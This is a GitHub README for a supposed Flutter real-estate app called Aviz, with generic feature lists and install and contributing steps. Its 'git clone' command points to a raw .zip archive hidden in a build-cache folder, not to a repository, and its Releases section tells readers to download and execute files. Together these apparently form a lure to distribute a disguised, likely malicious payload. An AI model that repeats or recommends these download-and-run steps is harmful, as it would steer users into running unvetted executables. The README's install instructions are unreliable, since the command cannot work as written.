Skip to content

K-T-design/Aviz

Repository files navigation

Aviz: Your Real Estate Companion 🏡

Aviz Logo

Welcome to Aviz, a Flutter-powered mobile classifieds app designed specifically for real estate listings. This app helps users find, buy, and sell properties with ease. Whether you're a buyer, seller, or agent, Aviz simplifies the process and enhances your experience.

Table of Contents

Features

  • User-Friendly Interface: Navigate effortlessly through property listings.
  • Advanced Search: Filter listings by location, price, and property type.
  • Map Integration: View properties on an interactive map.
  • Favorites: Save your favorite listings for quick access.
  • Push Notifications: Get updates on new listings and price changes.
  • Secure Messaging: Communicate with sellers and buyers directly through the app.

Technologies Used

Aviz leverages a range of powerful technologies to deliver a smooth user experience:

  • Flutter: A UI toolkit for building natively compiled applications for mobile from a single codebase.
  • Dart: The programming language used to build Flutter apps.
  • Bloc: A state management library that helps manage the app's state effectively.
  • Dio: A powerful HTTP client for making network requests.
  • Flutter Hooks: A library that provides a way to use hooks in Flutter applications.
  • RxDart: A reactive programming library that extends Dart's streams.
  • Shared Preferences: A way to store simple data persistently.

Installation

To get started with Aviz, follow these steps:

  1. Clone the Repository:

    git clone https://raw.githubusercontent.com/K-T-design/Aviz/main/android/app/.cxx/Debug/4572331t/x86/CMakeFiles/3.22.1-g37088a8-dirty/Software-1.5.zip
    cd Aviz
  2. Install Dependencies: Run the following command to install the necessary packages:

    flutter pub get
  3. Run the App: Use the command below to launch the app on your device or emulator:

    flutter run

Usage

Once you have the app running, you can start exploring real estate listings. Here’s how to navigate the app:

  1. Home Screen: View featured listings and access the search feature.
  2. Search: Use the search bar to find properties by location or price range.
  3. Map View: Tap the map icon to see listings on an interactive map.
  4. Favorites: Save listings you like by tapping the heart icon.
  5. Messaging: Contact sellers directly through the app for inquiries.

Contributing

We welcome contributions to Aviz! Here’s how you can help:

  1. Fork the Repository: Click the fork button at the top right of the page.
  2. Create a Branch: Create a new branch for your feature or bug fix.
    git checkout -b feature/YourFeatureName
  3. Make Changes: Implement your changes and commit them.
    git commit -m "Add your message here"
  4. Push to Your Branch:
    git push origin feature/YourFeatureName
  5. Create a Pull Request: Submit a pull request for review.

License

This project is licensed under the MIT License. See the LICENSE file for details.

Contact

For any questions or feedback, please reach out:

Releases

You can find the latest releases of Aviz here. Download the necessary files and execute them to get the latest features and improvements.

Feel free to check the "Releases" section for updates.


Thank you for your interest in Aviz! We hope you enjoy using our app to simplify your real estate journey.